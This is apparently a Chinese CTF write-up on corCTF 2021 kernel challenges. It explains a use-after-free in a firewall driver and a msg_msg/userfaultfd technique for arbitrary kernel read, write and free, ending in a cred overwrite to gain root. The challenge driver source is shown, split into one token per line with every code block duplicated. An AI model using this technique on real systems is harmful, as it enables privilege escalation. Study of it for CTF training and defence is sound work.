在前些日子结束的 corCTF 2021 国际赛中,出现了两个有意思的0解Linux kernel题,赛后我的队友crazyman@r3kapig向我推荐了这两道题,我浏览了一下官方题解,做了复现。
这两到题的主要目的是介绍了 <在Linux Kernel中,当我们控制了 struct msg_msg 之后,如何构造任意(越界)读、任意写、以及任意释放的原语。进而如何配合userfaultfd实现对于当前进程的task_struct,以及cred的进攻利用,实现权限提升> 的这样一种技术。
这是出题人的想法与官方WP:
Fire of Salvation
Wall Of Perdition
这个仓库里收集了题目文件:
Github
Linux Kernel Communication — Netfilter Hooks
netfilter是一个用于数据包处理的框架,在正常的套接字接口之外。
它有四个部分。首先,每个协议都定义了 "钩子"(IPv4定义了5个),这些钩子是数据包穿越该协议栈过程中的明确定义的hook point。在每一个点上,协议都根据数据包和hook number调用netfilter框架。
Netfilter给了我们一种在固定的point对packet进行回调,解析,修改,过滤的可能。
Netfilter提供了一种叫做netfilter hooks的东西,这是一种使用回调的方式,以便在内核内过滤数据包。
有5种不同的netfilter hook分别位于如下位置 1~5。
他们对应的是:
NF_INET_PER_ROUNTING
NF_INET_LOCAL_IN
NF_INET_FORWARD
NF_INET_POST_ROUTING
NF_INET_LOCAL_OUT
具体的,我们需要使用 nf_register_net_hook
针对hook进行注册(结构体nf_hook_ops)
题目描述
可以看到开启了一堆保护和额外的加固。
注意以下选项:
值得注意的是的使用了SLAB分配器而非SLUB。
题目源码在:
https://paste.ubuntu.com/p/2xzRxyVjqy/
题目本身实现了一个 内核态的防火墙驱动 ,定义了针对ipv4数据包的出入站规则 。
init_firewall
对应的结构体如下:
firewall_inbound_hook && firewall_outbound_hook
process_rule
firewall_add_rule
firewall_delete_rule
这个函数没有UAF可以用
firewall_edit_rule
可以编辑几个对应的属性
firewall_dup_rule
本题漏洞很明显,首先在delete函数中不存在UAF,会设置对应free entry为NULL。
但是在 firewall_dup_rule
中用对应idx的entry来填充了list中查找到的第一个为NULL的entry。
如果我们先一步调用 firewall_dup_rule
,相当于在(对称的)list上放了同一个entry的一个copy,我们free掉一个,再利用对称的list里剩下的没有设置为NULL的copy即可完成UAF。
这离要注意 dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
也就是说dup的时候firewall_rules_out链表的会dup到firewall_rules_in;firewall_rules_in会dup到firewall_rules_out。是一个对称的dup,而不是在同一个list中dup。
并且由于flag标志位同一个entry只能dup一次。
我们可以UAF的对象属于kmalloc-4096,并且我们可以配合edit完成UAF-write,但是edit限制为只能任意写UAF对象部分长度。
根据 :manpage
这个对象在上层主要对应的操作是 msgsnd()
还有 msgrcv()
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg);
这两个syscall主要用于发送message到系统的消息队列,然后从消息队列接收message。调用他的进程必须对消息队列有写权限才能发送消息;有读权限才能接收消息。
在内核中 msgsnd
会到达 do_msgsnd
:
do_msgsnd
load_msg
alloc_msg
上一部分已经简单介绍了这个函数,这里我们注意一下 struct msg_msgseg
原生的只有一个next指针实际下方还有对应的data区域。
分配的时候 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
会加上剩下的数据的alen的长度,总的长度就是 sizeof(struct msg_msgseg) + alen
当一个消息过长时,其典型结构如:
do_msgrcv
本函数中,如果设置了MSG_COPY,那么会调用 prepare_copy
进行预先分配,其实就是 load_msg
的一个封装。也就是先把用户态的放到一个copy上。
接下来,在for循环中通过 find_msg
中的list_for_each_entry扫描了msg_queue.q_receivers
队列。最终返回合适的 struct msg_msg *
如果设置了 msgflg & MSG_COPY
当开启 CONFIG_CHECKPOINT_RESTORE
时成功调用 copy_msg
在copy_msg中,首先从struct msg_msg
中进行拷贝到函数一开始copy的副本中。
然后拷贝struct msg_msgseg
,从 msg_msg.next 到 msg_copy.next 。
而这个函数中的src参数我们是可以劫持的,下文会详细讲。
注意,如果设置了MSG_COPY 不会进行接下来的出队unlink操作,而是直接 goto out_unlock0;
从队列中unlink,更新队列状态。list_del(&msg->m_list)
最终会到达 bufsz = msg_handler(buf, msg, bufsz);
这个 msg_handler
是 do_msgrcv
的最后一个参数
这个msg_handler实际上就是 store_msg
:
最终会 kfree(msg)
store_msg
本函数主要作用是将内核态放好的msg再拷贝到用户态
do_msgrcv
https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1090
首先我们创建一个正常的firewall_rule。
delete上一个firewall_rule
从kmalloc-4k中通过创建一个msg_msg取回来free掉的firewall_rule,此时转换成了msg_msg结构
在堆上喷射大量的带有全局数据的 shm_file_data
结构。
利用outbound list上存在的指针,对此时的msg_msg结构进行edit,主要目的是修改 m_ts
为一个大值。
调用 msgrcv
从消息队列中读取,由于此时 m_ts
被劫持为一个大值,所以我们可以进行越界读取。
越界读取到喷射 shm_file_data
利用其中的 init_ipc_ns
泄漏kernel base,bypass fg-kaslr
首先,回顾一下拷贝的过程。
考虑当我们打开MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE时,当我们调用 do_msgrcv
会有如下过程:
首先将用户态传入的buf(一开始是空的)拷贝到一个内核态的副本上(aka. msg_msg_copy, msg_msgseg_copy)
调用 find_msg
根据消息类型,从队列中查找是否有匹配的消息。即查找真正合适的msg_msg结构(就是我们UAF后控制的那个)。
接下来调用 copy_msg 拷贝查找到的匹配的消息msg_msg 以及对应的msg_msgseg到msg_msg_copy、msg_msgseg_copy(通过next指针链接)
接下来一个goto,最终到达 msg_handler(buf, msg, bufsz)
。本质上是调用:
do_msg_fill->store_msg->copy_to_user 将对应的msg里的消息copy到用户态。
总结一下:当开启了 MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE
内核会在不更新msg队列信息,不进行unlink的情况下,几乎是直接将对应的msg+msgseg的内容拷贝到用户态连续的地址空间。
这样的好处在于,由于msg_msg不出队,我们可以一直用edit进行多次的hijack。
具体的,我们通过edit,改mas_msg.next指向init_task+0x290的位置,那么我们就可以读取将init_task中的内容作为msg_msgseg读出来,而init_task本质上是一个task_struct,其中有task_struct链表中指向下一项的指针,还有对应的pid。
我们通过一次edit+read可以读一个task_struct,每读一次用读到的task链表的next指针重新设置msg_msg.next通过重复这个过程,就完成了一个对于task_struct链表的遍历,我们的最终目标就是找到当前进程对应的task_struct结构体。
当我们找到当前进程对应的task_struct的位置之后,只需要劫持task_struct中的两个关键指针,即可完成权限提升:
我们通过offset定位这两个指针在 &task_struct + 0x538 和 0x540 的位置。
首先我们针对idx = 1再来一次UAF,构造出一个可控制的msg_msg:
我们配合userfaultfd机制,利用 msgsnd
触发一段对mmap后没有初始化的内存的copy操作。启动userfaultfd的handler。
在handler中,我们edit对应的msg_msg结构,主要目的是修改其next指针为&task_struct + 0x538 - 0x8的位置,相当于伪造出一个msg_msgseg。
紧接着在handler中恢复对应的未初始化的内存为我们构造的恶意数据。
恢复之后,msgsnd
继续,此时将对应的用户态的恶意数据拷贝到内核态,最终在对于我们伪造的msg_msgseg赋值的过程中,实际上覆写了当前task_struct结构体的real_cred 、 cred指针。使其指向了具有全局root权限的init_cred。完成权限提升。
我的exp:
本题是上一题的进阶版本。
主要改变在:
Rule_t中没有那个0x800大小的desc了,这样导致我们的对象大小发生了变化,在内核中变成了0x30大小,属于kmalloc-64 。
前面的利用过程都有点像,不同的是我找到了一个比官网WP更稳定的内核全局数据 dynamic_kobj_ktype
方便在不进行 shm_file_data
喷射的情况下拿到内核基地址。
这一部分利用过程比较复杂。我会配合原文的图片进行说明。
在main函数的一开始,我们先注册两个userfaultfd,起两个handler,这两个我们后面都会用到。
之后我们构造创建两个msg队列 一个UAF
此时,在针对qid发送消息的时候,会将我们释放的rule从kmalloc-64中再拉回来,变成了上方的msg_msg#1。而通过对这个msg_msg的m_ts的劫持,进而可以实现任意(越界)读。
通过越界读,我们可以读到以下内容:
dump对应的数据:
接下来像上一题一样,扫描task_struct链表,找到当前进程的task_struct,读出pid,cred *。
接着上面的步骤,我们通过从qid_1的队列中不设置MSG_COPY的读取消息 ,让我们的msg_msg出队后被放入kmalloc-4k
可以看到,通过两次读取我们将qid_1队列中的msg_msg以及msg_msgseg进行了释放。
在这些工作都结束后,我们新开一个线程,调用 allocate_msg1
在allocate_msg1
中,再创建一个新队列qid_2。然后取出被free到kmalloc-4k的。通过 msgsnd
操作,我们将msgsnd要发送的用户态的数据的地址设置为:page_1 + PAGE_SIZE - 0x10
,那么他在copy_from_user的时候会被卡在未初始化的 page_1 + PAGE_SIZE
也就是 FAULT_PAGE
。
可以看到,由于SLAB分配器LIFO的性质,我们 msgsnd
的时候首先把先前 msg_msg#2的msg_msgseg从kmalloc-4k中取出来了,接着申请出的是先前的msg_msg#2。等于说这个链表在一次free一次重新申请之后反向了。然后放置上了对应的控制头数据,然而当我们继续向下放置消息数据的时候,就会触碰到 FAULT_PAGE,也就是 page_1 + PAGE_SIZE的位置。
此时copy_from_user被挂起,接下来,userfaultfd_1中启动的page_fault_handler_1
捕捉到对应地址为FAULT_PAGE的userfault 。
进入while大循环首先确认我们捕捉到的地址是否是我们想要的 FAULT_PAGE
的地址。
在本函数中,我们会卡在 if(release_pfh_1)
这里,我们想要达到的目的是在恢复这个pagefault之后,使next指针指向cred结构体地址-0x8,相当于伪造当前进程的cred结构体为一个fake msg_msgseg。
接下来,我们的重点放在如何构造任意地址free。我们调用 arb_free
函数,在此函数中首先进行一次UAF write,劫持我们堆上的第一个msg_msg的next指针,让他也指向对应的msg_msgseg
然后调用msgrcv,导致上图的MSG #0和最右侧的msg_msgseg被free掉。
注意,指向msg_msgseg的除了正常的msg_msg(qid_2),还有第一次的msg_msg(qid)中的next指针。
也就是说,这个操作结束之后,msg_msg(qid_2)的next指针指向了一个被free的区域(kmalloc-4k),并且他认为这是他的msg_msgseg。
接下来,我们再起一个 allocate_msg2
。
在本函数中,我们再新建一个队列qid_3 。同时再开一个FAULT_PAGE_2再构造另一个pagefault。(page_2),然后调用msgsnd卡住这个copy_from_user。
注意,上一张图被我们free到kmalloc-4k的会被再次申请出来作为msg_msg(下图中蓝色的),那么此时我们就构造出两个msg_msg链式相连的结构了。
而在 page_fault_handler_2
会重启第一个pagefault的恢复工作。
回忆一下,我们第一个page fault是卡在从用户态向内核态队列msg_msg中拷贝数据的过程。
当此过程恢复后,此时next指针是指向PAGE_FAULT_2对应的msg_msg的。也就是说会发生从用户态向蓝色的区域对应的msg_msg拷贝数据。如果我们控制好拷贝的数据,那么可以实现修改next指针,指向cred结构体。
在 page_fault_handler_2
中等待 page_fault_handler_1
恢复完毕。然后再对PAGE_FAULT_2进行恢复。
当 page_fault_handler_2
运行完了,PAGE_FAULT_2也被恢复。针对PAGE_FAULT_2的msgsnd中的copy_from_user操作接触阻塞继续执行,此时由于我们已经劫持了next = cred,那么在拷贝到msg_msgseg的时候,实际上就转换成了了针对cred结构体的劫持(写操作)。此时的cred结构体像一个fake msg_msgseg。
至此,整个流程结束。
这一部分由于exp实在太长,而且很乱,我就不放上来自己完整的了。如果想学习的可以去看官方的exp(链接已在开头给出),实在是比我写的整齐太多。
在Linux内核中,如果我们可以控制kernel heap上的 struct msg_msg
,并且允许用户态自定义userfaultfd的使用,且内核开启了 CONFIG_CHECKPOINT_RESTORE
时。可以利用struct msg_msg
以及其后续的 struct msg_msgseg
结构,通过调整MSG_COPY标签,调用 msgsnd
完成内核态分配操作与写操作;调用 msgrcv
完成内核态释放操作与读操作。进而可以构造任意地址读写的原语;以及通过构造恶意的msg_msg链表,可以构造出任意地址释放的原语。最终根据具体情况不同,可以用于内核态的漏洞利用。
https://blog.csdn.net/guoping16/article/details/6584024
https://www.cnblogs.com/52php/p/5862114.html
A Packet Traversing the Netfilter System:
-
-
-
>[
1
]
-
-
-
>[ROUTE]
-
-
-
>[
3
]
-
-
-
>[
4
]
-
-
-
>
| ^
| |
| [ROUTE]
v |
[
2
] [
5
]
| ^
| |
v |
A Packet Traversing the Netfilter System:
-
-
-
>[
1
]
-
-
-
>[ROUTE]
-
-
-
>[
3
]
-
-
-
>[
4
]
-
-
-
>
| ^
| |
| [ROUTE]
v |
[
2
] [
5
]
| ^
| |
v |
Elastic objects
in
kernel have more power than you think. A kernel config
file
is
provided as well, but some of the important options include:
CONFIG_SLAB
=
y
CONFIG_SLAB_FREELIST_RANDOM
=
y
CONFIG_SLAB_FREELIST_HARDEN
=
y
CONFIG_STATIC_USERMODEHELPER
=
y
CONFIG_STATIC_USERMODEHELPER_PATH
=
""
CONFIG_FG_KASLR
=
y
SMEP, SMAP,
and
KPTI are of course on. Note that this
is
an easier variation of the Wall of Perdition challenge.
hint: Using the correct elastic
object
you can achieve powerful primitives such as arb read
and
arb write. While arb read
for
this
object
has been documented, arb write has
not
to the extent of our knowledge (it
is
not
a
0
day tho so don't worry).
Elastic objects
in
kernel have more power than you think. A kernel config
file
is
provided as well, but some of the important options include:
CONFIG_SLAB
=
y
CONFIG_SLAB_FREELIST_RANDOM
=
y
CONFIG_SLAB_FREELIST_HARDEN
=
y
CONFIG_STATIC_USERMODEHELPER
=
y
CONFIG_STATIC_USERMODEHELPER_PATH
=
""
CONFIG_FG_KASLR
=
y
SMEP, SMAP,
and
KPTI are of course on. Note that this
is
an easier variation of the Wall of Perdition challenge.
hint: Using the correct elastic
object
you can achieve powerful primitives such as arb read
and
arb write. While arb read
for
this
object
has been documented, arb write has
not
to the extent of our knowledge (it
is
not
a
0
day tho so don't worry).
/
*
初始化两个全局的
list
firewall_rules_in:存储指向入站规则的指针
firewall_rules_out:存储指向出站规则的指针
*
/
firewall_rules_in
=
kzalloc(sizeof(void
*
)
*
MAX_RULES, GFP_KERNEL);
firewall_rules_out
=
kzalloc(sizeof(void
*
)
*
MAX_RULES, GFP_KERNEL);
/
*
注册hook函数
*
/
if
(nf_register_net_hook(&init_net, &in_hook) <
0
)
{
printk(KERN_INFO
"[Firewall::Error] Cannot register nf hook!\n"
);
return
ERROR;
}
if
(nf_register_net_hook(&init_net, &out_hook) <
0
)
{
printk(KERN_INFO
"[Firewall::Error] Cannot register nf hook!\n"
);
return
ERROR;
}
/
*
初始化两个全局的
list
firewall_rules_in:存储指向入站规则的指针
firewall_rules_out:存储指向出站规则的指针
*
/
firewall_rules_in
=
kzalloc(sizeof(void
*
)
*
MAX_RULES, GFP_KERNEL);
firewall_rules_out
=
kzalloc(sizeof(void
*
)
*
MAX_RULES, GFP_KERNEL);
/
*
注册hook函数
*
/
if
(nf_register_net_hook(&init_net, &in_hook) <
0
)
{
printk(KERN_INFO
"[Firewall::Error] Cannot register nf hook!\n"
);
return
ERROR;
}
if
(nf_register_net_hook(&init_net, &out_hook) <
0
)
{
printk(KERN_INFO
"[Firewall::Error] Cannot register nf hook!\n"
);
return
ERROR;
}
static struct nf_hook_ops in_hook
=
{
.hook
=
firewall_inbound_hook,
/
*
钩子函数
*
/
.hooknum
=
NF_INET_PRE_ROUTING,
/
*
钩子点,NF_INET_PRE_ROUTING代表当包到达时被调用。
*
/
.pf
=
PF_INET,
/
*
协议族
*
/
.priority
=
NF_IP_PRI_FIRST
/
*
优先级
*
/
};
static struct nf_hook_ops out_hook
=
{
.hook
=
firewall_outbound_hook,
.hooknum
=
NF_INET_POST_ROUTING,
.pf
=
PF_INET,
.priority
=
NF_IP_PRI_FIRST
};
static struct nf_hook_ops in_hook
=
{
.hook
=
firewall_inbound_hook,
/
*
钩子函数
*
/
.hooknum
=
NF_INET_PRE_ROUTING,
/
*
钩子点,NF_INET_PRE_ROUTING代表当包到达时被调用。
*
/
.pf
=
PF_INET,
/
*
协议族
*
/
.priority
=
NF_IP_PRI_FIRST
/
*
优先级
*
/
};
static struct nf_hook_ops out_hook
=
{
.hook
=
firewall_outbound_hook,
.hooknum
=
NF_INET_POST_ROUTING,
.pf
=
PF_INET,
.priority
=
NF_IP_PRI_FIRST
};
/
*
本函数会在包进站时被调用
*
/
static uint32_t firewall_inbound_hook(void
*
priv, struct sk_buff
*
skb, const struct nf_hook_state
*
state)
{
int
i;
uint32_t ret;
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
/
/
扫描存在的过滤规则
if
(firewall_rules_in[i])
{
/
/
调用process_rule处理对应的数据包
ret
=
process_rule(skb, firewall_rules_in[i], INBOUND, i);
if
(ret !
=
SKIP)
return
ret;
}
}
return
NF_ACCEPT;
}
/
*
本函数会在包出站时被调用
*
/
static uint32_t firewall_outbound_hook(void
*
priv, struct sk_buff
*
skb, const struct nf_hook_state
*
state)
{
int
i;
uint32_t ret;
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
if
(firewall_rules_out[i])
{
ret
=
process_rule(skb, firewall_rules_out[i], OUTBOUND, i);
if
(ret !
=
SKIP)
return
ret;
}
}
return
NF_ACCEPT;
}
/
*
本函数会在包进站时被调用
*
/
static uint32_t firewall_inbound_hook(void
*
priv, struct sk_buff
*
skb, const struct nf_hook_state
*
state)
{
int
i;
uint32_t ret;
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
/
/
扫描存在的过滤规则
if
(firewall_rules_in[i])
{
/
/
调用process_rule处理对应的数据包
ret
=
process_rule(skb, firewall_rules_in[i], INBOUND, i);
if
(ret !
=
SKIP)
return
ret;
}
}
return
NF_ACCEPT;
}
/
*
本函数会在包出站时被调用
*
/
static uint32_t firewall_outbound_hook(void
*
priv, struct sk_buff
*
skb, const struct nf_hook_state
*
state)
{
int
i;
uint32_t ret;
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
if
(firewall_rules_out[i])
{
ret
=
process_rule(skb, firewall_rules_out[i], OUTBOUND, i);
if
(ret !
=
SKIP)
return
ret;
}
}
return
NF_ACCEPT;
}
static uint32_t process_rule(struct sk_buff
*
skb, rule_t
*
rule, uint8_t
type
,
int
i)
{
struct iphdr
*
iph;
struct tcphdr
*
tcph;
struct udphdr
*
udph;
printk(KERN_INFO
"[Firewall::Info] rule->iface: %s...\n"
, rule
-
>iface);
printk(KERN_INFO
"[Firewall::Info] skb->dev->name: %s...\n"
, skb
-
>dev
-
>name);
/
*
比较interface是否匹配
*
/
if
(strncmp(rule
-
>iface, skb
-
>dev
-
>name,
16
) !
=
0
)
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n"
, i);
return
SKIP;
}
/
*
取当前的ip头
*
/
iph
=
ip_hdr(skb);
/
*
如果是INBOUND过滤
*
/
if
(
type
=
=
INBOUND)
{
/
*
判断是否在一个子网内?
*
/
if
((rule
-
>ip & rule
-
>netmask) !
=
(iph
-
>saddr & rule
-
>netmask))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n"
, i);
/
*
如果不在则返回SKIP跳过
*
/
return
SKIP;
}
}
/
*
如果是OUTBOUND过滤
*
/
else
{
/
*
判断子网合法性
*
/
if
((rule
-
>ip & rule
-
>netmask) !
=
(iph
-
>daddr & rule
-
>netmask))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n"
, i);
return
SKIP;
}
}
/
*
如果是TCP协议
*
/
if
((rule
-
>proto
=
=
IPPROTO_TCP) && (iph
-
>protocol
=
=
IPPROTO_TCP))
{
printk(KERN_INFO
"[Firewall::Info] Rule[%d], protocol is TCP\n"
, i);
/
*
取tcp头
*
/
tcph
=
tcp_hdr(skb);
/
*
检查端口合法性
*
/
if
((rule
-
>port !
=
0
) && (rule
-
>port !
=
tcph
-
>dest))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n"
, i, ntohs(rule
-
>port), ntohs(tcph
-
>dest));
return
SKIP;
}
/
*
判断action是否合法,只允许NF_DROP 、NF_ACCEPT
*
/
if
((rule
-
>action !
=
NF_DROP) && (rule
-
>action !
=
NF_ACCEPT))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n"
, i, rule
-
>action);
return
SKIP;
}
printk(KERN_INFO
"[Firewall::Info] %s Rule[%d], action %d\n"
, (
type
=
=
INBOUND) ?
"Inbound"
:
"Outbound"
, i, rule
-
>action);
return
rule
-
>action;
}
/
*
如果是UDP协议
*
/
else
if
((rule
-
>proto
=
=
IPPROTO_UDP) && (iph
-
>protocol
=
=
IPPROTO_UDP))
{
printk(KERN_INFO
"[Firewall::Info] Rule[%d], protocol is UDP\n"
, i);
udph
=
udp_hdr(skb);
if
((rule
-
>port !
=
0
) && (rule
-
>port !
=
udph
-
>dest))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n"
, i, ntohs(rule
-
>port), ntohs(udph
-
>dest));
return
SKIP;
}
if
((rule
-
>action !
=
NF_DROP) && (rule
-
>action !
=
NF_ACCEPT))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n"
, i, rule
-
>action);
return
SKIP;
}
printk(KERN_INFO
"[Firewall::Info] %s Rule[%d], action %d\n"
, (
type
=
=
INBOUND) ?
"Inbound"
:
"Outbound"
, i, rule
-
>action);
return
rule
-
>action;
}
return
SKIP;
}
static uint32_t process_rule(struct sk_buff
*
skb, rule_t
*
rule, uint8_t
type
,
int
i)
{
struct iphdr
*
iph;
struct tcphdr
*
tcph;
struct udphdr
*
udph;
printk(KERN_INFO
"[Firewall::Info] rule->iface: %s...\n"
, rule
-
>iface);
printk(KERN_INFO
"[Firewall::Info] skb->dev->name: %s...\n"
, skb
-
>dev
-
>name);
/
*
比较interface是否匹配
*
/
if
(strncmp(rule
-
>iface, skb
-
>dev
-
>name,
16
) !
=
0
)
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n"
, i);
return
SKIP;
}
/
*
取当前的ip头
*
/
iph
=
ip_hdr(skb);
/
*
如果是INBOUND过滤
*
/
if
(
type
=
=
INBOUND)
{
/
*
判断是否在一个子网内?
*
/
if
((rule
-
>ip & rule
-
>netmask) !
=
(iph
-
>saddr & rule
-
>netmask))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n"
, i);
/
*
如果不在则返回SKIP跳过
*
/
return
SKIP;
}
}
/
*
如果是OUTBOUND过滤
*
/
else
{
/
*
判断子网合法性
*
/
if
((rule
-
>ip & rule
-
>netmask) !
=
(iph
-
>daddr & rule
-
>netmask))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n"
, i);
return
SKIP;
}
}
/
*
如果是TCP协议
*
/
if
((rule
-
>proto
=
=
IPPROTO_TCP) && (iph
-
>protocol
=
=
IPPROTO_TCP))
{
printk(KERN_INFO
"[Firewall::Info] Rule[%d], protocol is TCP\n"
, i);
/
*
取tcp头
*
/
tcph
=
tcp_hdr(skb);
/
*
检查端口合法性
*
/
if
((rule
-
>port !
=
0
) && (rule
-
>port !
=
tcph
-
>dest))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n"
, i, ntohs(rule
-
>port), ntohs(tcph
-
>dest));
return
SKIP;
}
/
*
判断action是否合法,只允许NF_DROP 、NF_ACCEPT
*
/
if
((rule
-
>action !
=
NF_DROP) && (rule
-
>action !
=
NF_ACCEPT))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n"
, i, rule
-
>action);
return
SKIP;
}
printk(KERN_INFO
"[Firewall::Info] %s Rule[%d], action %d\n"
, (
type
=
=
INBOUND) ?
"Inbound"
:
"Outbound"
, i, rule
-
>action);
return
rule
-
>action;
}
/
*
如果是UDP协议
*
/
else
if
((rule
-
>proto
=
=
IPPROTO_UDP) && (iph
-
>protocol
=
=
IPPROTO_UDP))
{
printk(KERN_INFO
"[Firewall::Info] Rule[%d], protocol is UDP\n"
, i);
udph
=
udp_hdr(skb);
if
((rule
-
>port !
=
0
) && (rule
-
>port !
=
udph
-
>dest))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n"
, i, ntohs(rule
-
>port), ntohs(udph
-
>dest));
return
SKIP;
}
if
((rule
-
>action !
=
NF_DROP) && (rule
-
>action !
=
NF_ACCEPT))
{
printk(KERN_INFO
"[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n"
, i, rule
-
>action);
return
SKIP;
}
printk(KERN_INFO
"[Firewall::Info] %s Rule[%d], action %d\n"
, (
type
=
=
INBOUND) ?
"Inbound"
:
"Outbound"
, i, rule
-
>action);
return
rule
-
>action;
}
return
SKIP;
}
static
long
firewall_add_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_add_rule() adding new rule!\n"
);
if
(firewall_rules[idx] !
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_add_rule() invalid rule slot!\n"
);
return
ERROR;
}
/
/
在对应的idx用kzalloc分配一个rule_t,没有限制idx范围
firewall_rules[idx]
=
(rule_t
*
)kzalloc(sizeof(rule_t), GFP_KERNEL);
if
(!firewall_rules[idx])
{
printk(KERN_INFO
"[Firewall::Error] firewall_add_rule() allocation error!\n"
);
return
ERROR;
}
memcpy(firewall_rules[idx]
-
>iface, user_rule.iface,
16
);
memcpy(firewall_rules[idx]
-
>name, user_rule.name,
16
);
/
/
拷贝
0x800
缓冲区到对应位置
strncpy(firewall_rules[idx]
-
>desc, user_rule.desc, DESC_MAX);
/
*
in4_pton将字符串转换成ipv4地址 , 检查ipv4的地址格式是否合法
*
/
if
(in4_pton(user_rule.ip, strnlen(user_rule.ip,
16
), (u8
*
)&(firewall_rules[idx]
-
>ip),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_add_rule() invalid IP format!\n"
);
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
ERROR;
}
/
*
检查网络掩码是否合法
*
/
if
(in4_pton(user_rule.netmask, strnlen(user_rule.netmask,
16
), (u8
*
)&(firewall_rules[idx]
-
>netmask),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_add_rule() invalid Netmask format!\n"
);
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
ERROR;
}
/
*
将对应的user
-
space的信息赋值到kernel
-
space变量中
*
/
firewall_rules[idx]
-
>proto
=
user_rule.proto;
firewall_rules[idx]
-
>port
=
ntohs(user_rule.port);
firewall_rules[idx]
-
>action
=
user_rule.action;
firewall_rules[idx]
-
>is_duplicated
=
0
;
printk(KERN_ERR
"[Firewall::Info] firewall_add_rule() new rule added!\n"
);
return
SUCCESS;
}
static
long
firewall_add_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_add_rule() adding new rule!\n"
);
if
(firewall_rules[idx] !
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_add_rule() invalid rule slot!\n"
);
return
ERROR;
}
/
/
在对应的idx用kzalloc分配一个rule_t,没有限制idx范围
firewall_rules[idx]
=
(rule_t
*
)kzalloc(sizeof(rule_t), GFP_KERNEL);
if
(!firewall_rules[idx])
{
printk(KERN_INFO
"[Firewall::Error] firewall_add_rule() allocation error!\n"
);
return
ERROR;
}
memcpy(firewall_rules[idx]
-
>iface, user_rule.iface,
16
);
memcpy(firewall_rules[idx]
-
>name, user_rule.name,
16
);
/
/
拷贝
0x800
缓冲区到对应位置
strncpy(firewall_rules[idx]
-
>desc, user_rule.desc, DESC_MAX);
/
*
in4_pton将字符串转换成ipv4地址 , 检查ipv4的地址格式是否合法
*
/
if
(in4_pton(user_rule.ip, strnlen(user_rule.ip,
16
), (u8
*
)&(firewall_rules[idx]
-
>ip),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_add_rule() invalid IP format!\n"
);
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
ERROR;
}
/
*
检查网络掩码是否合法
*
/
if
(in4_pton(user_rule.netmask, strnlen(user_rule.netmask,
16
), (u8
*
)&(firewall_rules[idx]
-
>netmask),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_add_rule() invalid Netmask format!\n"
);
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
ERROR;
}
/
*
将对应的user
-
space的信息赋值到kernel
-
space变量中
*
/
firewall_rules[idx]
-
>proto
=
user_rule.proto;
firewall_rules[idx]
-
>port
=
ntohs(user_rule.port);
firewall_rules[idx]
-
>action
=
user_rule.action;
firewall_rules[idx]
-
>is_duplicated
=
0
;
printk(KERN_ERR
"[Firewall::Info] firewall_add_rule() new rule added!\n"
);
return
SUCCESS;
}
static
long
firewall_delete_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_delete_rule() deleting rule!\n"
);
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_delete_rule() invalid rule slot!\n"
);
return
ERROR;
}
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
SUCCESS;
}
static
long
firewall_delete_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_delete_rule() deleting rule!\n"
);
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_delete_rule() invalid rule slot!\n"
);
return
ERROR;
}
kfree(firewall_rules[idx]);
firewall_rules[idx]
=
NULL;
return
SUCCESS;
}
static
long
firewall_edit_rule(user_rule_t user_rule, rule_t
*
*
